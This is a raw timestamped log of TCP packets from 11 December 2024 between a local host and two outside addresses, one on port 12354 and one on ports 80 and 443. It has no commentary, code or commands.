Dec 11, 2024 16:28:05.270745039 CET	50458	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:05.271174908 CET	50458	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:05.271188021 CET	443	50458	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:05.858772993 CET	12354	65394	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:05.860337973 CET	65394	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:05.925735950 CET	12354	65425	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:05.928322077 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.003770113 CET	65394	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.004983902 CET	50784	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.123136044 CET	12354	65394	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:06.124205112 CET	12354	50784	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:06.124325037 CET	50784	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.271002054 CET	65425	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.272665024 CET	50784	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.306508064 CET	50786	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.390670061 CET	12354	65425	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:06.392424107 CET	12354	50784	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:06.428483009 CET	12354	50786	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:06.432327986 CET	50786	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.580540895 CET	50786	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:06.777991056 CET	12354	50786	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:06.960267067 CET	443	50458	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:06.960376024 CET	50458	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:06.961014986 CET	443	50458	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:06.961114883 CET	50458	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:06.964282036 CET	50458	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:06.964665890 CET	443	50458	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:06.964735985 CET	50458	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.076102018 CET	65396	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.076360941 CET	51151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.199409008 CET	80	51151	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:07.199424982 CET	80	65396	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:07.199518919 CET	65396	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.199527025 CET	51151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.203725100 CET	51151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.323296070 CET	80	51151	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:07.572292089 CET	50784	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:07.572325945 CET	50786	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:07.572331905 CET	51151	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.572828054 CET	51537	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:07.687474966 CET	51673	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.688611031 CET	51675	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:07.693459988 CET	12354	51537	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:07.693555117 CET	51537	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:07.693909883 CET	51537	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:07.807126045 CET	80	51673	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:07.807279110 CET	51673	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.808047056 CET	51673	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:07.808285952 CET	12354	51675	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:07.808485985 CET	51675	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:07.809799910 CET	51675	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:07.814207077 CET	12354	51537	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:07.928402901 CET	80	51673	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:07.929409981 CET	12354	51675	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:09.379700899 CET	80	51673	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:09.380338907 CET	51673	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:09.569103003 CET	52420	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:09.569144964 CET	443	52420	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:09.569216967 CET	52420	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:09.570442915 CET	52420	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:09.570458889 CET	443	52420	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:09.815726042 CET	12354	51537	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:09.815792084 CET	51537	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:09.815885067 CET	51537	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:09.816447020 CET	52558	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:09.923489094 CET	12354	51675	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:09.923820972 CET	51675	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:09.935050964 CET	12354	51537	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:09.935740948 CET	12354	52558	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:09.935935974 CET	52558	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:09.940814018 CET	51675	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:09.941750050 CET	52558	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:09.944701910 CET	52693	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:10.060410023 CET	12354	51675	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:10.061414957 CET	12354	52558	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:10.064156055 CET	12354	52693	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:10.064224005 CET	52693	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:10.064570904 CET	52693	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:10.185642958 CET	12354	52693	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:11.281533003 CET	443	52420	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:11.281620979 CET	52420	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.282500982 CET	443	52420	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:11.282581091 CET	52420	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.303371906 CET	52420	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.303474903 CET	443	52420	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:11.303554058 CET	52420	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.424921989 CET	51673	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.425407887 CET	53801	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.545224905 CET	80	53801	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:11.545315981 CET	53801	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.545839071 CET	80	51673	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:11.545958042 CET	51673	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.546214104 CET	53801	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.601738930 CET	52693	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:11.601780891 CET	52558	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:11.601787090 CET	53801	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.613280058 CET	53852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:11.669091940 CET	80	53801	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:11.669157028 CET	53801	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.733010054 CET	12354	53852	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:11.733103991 CET	53852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:11.761591911 CET	53852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:11.811222076 CET	53858	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:11.811866999 CET	53859	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.885688066 CET	12354	53852	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:11.931361914 CET	12354	53858	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:11.931432962 CET	53858	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:11.932034969 CET	80	53859	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:11.932097912 CET	53859	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:11.951822996 CET	53858	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:11.951911926 CET	53859	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:12.071841002 CET	12354	53858	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:12.072009087 CET	80	53859	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:13.505053043 CET	80	53859	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:13.505125999 CET	53859	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:13.510031939 CET	55203	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:13.510057926 CET	443	55203	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:13.510234118 CET	55203	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:13.514756918 CET	55203	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:13.514767885 CET	443	55203	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:13.848012924 CET	12354	53852	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:13.849785089 CET	53852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:13.850191116 CET	53852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:13.850193024 CET	55592	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:13.970993996 CET	12354	53852	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:13.971007109 CET	12354	55592	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:13.971215963 CET	55592	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:13.974351883 CET	55592	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:14.065956116 CET	12354	53858	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:14.066138029 CET	53858	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:14.066514015 CET	53858	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:14.067058086 CET	55780	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:14.093791008 CET	12354	55592	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:14.185815096 CET	12354	53858	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:14.186866999 CET	12354	55780	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:14.187055111 CET	55780	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:14.187589884 CET	55780	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:14.310024977 CET	12354	55780	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:15.240447998 CET	443	55203	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:15.240515947 CET	55203	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.241198063 CET	443	55203	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:15.241302013 CET	55203	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.245805025 CET	55203	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.245852947 CET	443	55203	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:15.245908976 CET	55203	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.431991100 CET	53859	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.432389021 CET	56748	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.554116011 CET	80	56748	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:15.554209948 CET	80	53859	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:15.554215908 CET	56748	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.554255962 CET	53859	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.554488897 CET	56748	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.675597906 CET	80	56748	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:15.775511980 CET	55592	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:15.775592089 CET	56748	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.775674105 CET	55780	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:15.776140928 CET	57024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:15.889343977 CET	57172	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:15.892606974 CET	57174	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:15.896300077 CET	12354	57024	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:15.896363974 CET	57024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:15.896816969 CET	57024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:16.008753061 CET	12354	57172	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:16.008832932 CET	57172	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:16.009551048 CET	57172	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:16.012305975 CET	80	57174	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:16.012387037 CET	57174	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:16.012691975 CET	57174	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:16.016046047 CET	12354	57024	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:16.130398035 CET	12354	57172	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:16.133729935 CET	80	57174	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:17.591717958 CET	80	57174	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:17.591929913 CET	57174	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:17.595618010 CET	58772	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:17.595645905 CET	443	58772	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:17.595694065 CET	58772	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:17.599040985 CET	58772	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:17.599054098 CET	443	58772	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:18.018764019 CET	12354	57024	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:18.018821001 CET	57024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.019584894 CET	57024	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.020347118 CET	58942	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.127376080 CET	12354	57172	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:18.127449036 CET	57172	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.145737886 CET	12354	57024	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:18.145749092 CET	12354	58942	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:18.145915031 CET	58942	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.278245926 CET	57172	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.398493052 CET	12354	57172	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:18.403424978 CET	58942	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.523380041 CET	12354	58942	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:18.708439112 CET	58949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.829813004 CET	12354	58949	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:18.829907894 CET	58949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.831192017 CET	58949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:18.951471090 CET	12354	58949	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:19.291626930 CET	443	58772	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:19.291703939 CET	58772	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.292280912 CET	443	58772	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:19.292330027 CET	58772	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.295629025 CET	58772	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.295660019 CET	443	58772	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:19.295708895 CET	58772	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.405724049 CET	57174	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.406006098 CET	59494	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.525404930 CET	80	57174	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:19.525480032 CET	57174	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.526846886 CET	80	59494	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:19.526916981 CET	59494	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.527522087 CET	59494	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.646805048 CET	80	59494	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:19.790916920 CET	59494	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.790955067 CET	58942	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:19.790993929 CET	58949	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:19.791588068 CET	59852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:19.905932903 CET	60001	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:19.906908989 CET	60003	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:19.913728952 CET	12354	59852	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:19.913830042 CET	59852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:19.914355040 CET	59852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:20.025654078 CET	80	60001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:20.025731087 CET	60001	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:20.026429892 CET	12354	60003	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:20.026482105 CET	60003	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:20.029805899 CET	60001	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:20.030239105 CET	60003	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:20.034282923 CET	12354	59852	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:20.149739027 CET	80	60001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:20.149959087 CET	12354	60003	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:22.019660950 CET	12354	59852	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:22.019711018 CET	59852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.020529985 CET	59852	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.020859957 CET	60904	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.144299030 CET	12354	59852	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:22.144316912 CET	12354	60904	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:22.144395113 CET	60904	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.145262957 CET	12354	60003	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:22.145302057 CET	60003	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.146188021 CET	60904	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.146310091 CET	60003	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.146903992 CET	60937	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.168234110 CET	80	60001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:22.168286085 CET	60001	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:22.173795938 CET	60947	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:22.173823118 CET	443	60947	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:22.173868895 CET	60947	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:22.175798893 CET	60947	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:22.175807953 CET	443	60947	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:22.272264957 CET	12354	60904	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:22.272279024 CET	12354	60003	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:22.272321939 CET	12354	60937	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:22.272407055 CET	60937	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.273523092 CET	60937	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:22.396071911 CET	12354	60937	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:23.802406073 CET	60904	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:23.802453041 CET	60937	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:23.802484035 CET	60947	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:23.804212093 CET	62256	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:23.922230005 CET	62272	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:23.924823999 CET	12354	62256	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:23.924962997 CET	62256	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:23.925092936 CET	62256	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:23.925199986 CET	60001	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:23.925436020 CET	62273	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:24.047698975 CET	12354	62272	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:24.047806025 CET	62272	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:24.048466921 CET	62272	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:24.050812960 CET	12354	62256	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:24.051069021 CET	80	62273	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:24.051141977 CET	62273	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:24.051208973 CET	80	60001	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:24.051253080 CET	60001	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:24.051661015 CET	62273	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:24.171410084 CET	12354	62272	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:24.173826933 CET	80	62273	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:25.626863003 CET	80	62273	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:25.626914024 CET	62273	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:25.630521059 CET	63726	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:25.630546093 CET	443	63726	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:25.631001949 CET	63726	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:25.631871939 CET	63726	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:25.631886959 CET	443	63726	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:25.875725985 CET	443	63726	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:25.881853104 CET	63911	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:25.881874084 CET	443	63911	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:25.882103920 CET	63911	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:25.895504951 CET	63911	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:28:25.895520926 CET	443	63911	202.108.0.52	192.168.2.4
Dec 11, 2024 16:28:26.316520929 CET	12354	62256	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.316611052 CET	62256	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.320849895 CET	62256	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.321175098 CET	64270	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.323133945 CET	12354	62272	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.324476957 CET	62272	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.324845076 CET	62272	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.435189009 CET	12354	62256	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.435266018 CET	62256	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.435903072 CET	64406	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.441030025 CET	12354	62256	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.441531897 CET	12354	64270	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.442634106 CET	64270	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.443053007 CET	64270	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.445302963 CET	12354	62272	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.556154013 CET	12354	64406	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.556269884 CET	64406	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.564084053 CET	12354	64270	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.564105988 CET	12354	64270	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.582462072 CET	64406	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.583228111 CET	64546	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.675817013 CET	12354	64406	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.675909996 CET	64406	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.678349972 CET	64406	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.700890064 CET	64711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.703377962 CET	12354	64406	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.703391075 CET	12354	64546	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.703455925 CET	64546	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.704194069 CET	64546	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.795850992 CET	12354	64406	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.798912048 CET	12354	64406	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.820411921 CET	12354	64711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.820473909 CET	64711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.821213961 CET	64711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.823270082 CET	12354	64546	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.823345900 CET	64546	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.823496103 CET	64546	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.823529005 CET	12354	64546	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.823823929 CET	64868	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.940043926 CET	12354	64711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.940104961 CET	64711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.940473080 CET	12354	64711	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.942557096 CET	12354	64546	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.942776918 CET	12354	64546	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.943054914 CET	12354	64868	107.163.241.232	192.168.2.4
Dec 11, 2024 16:28:26.943120003 CET	64868	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.961775064 CET	64711	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:28:26.962856054 CET	64868	12354	192.168.2.4	107.163.241.232
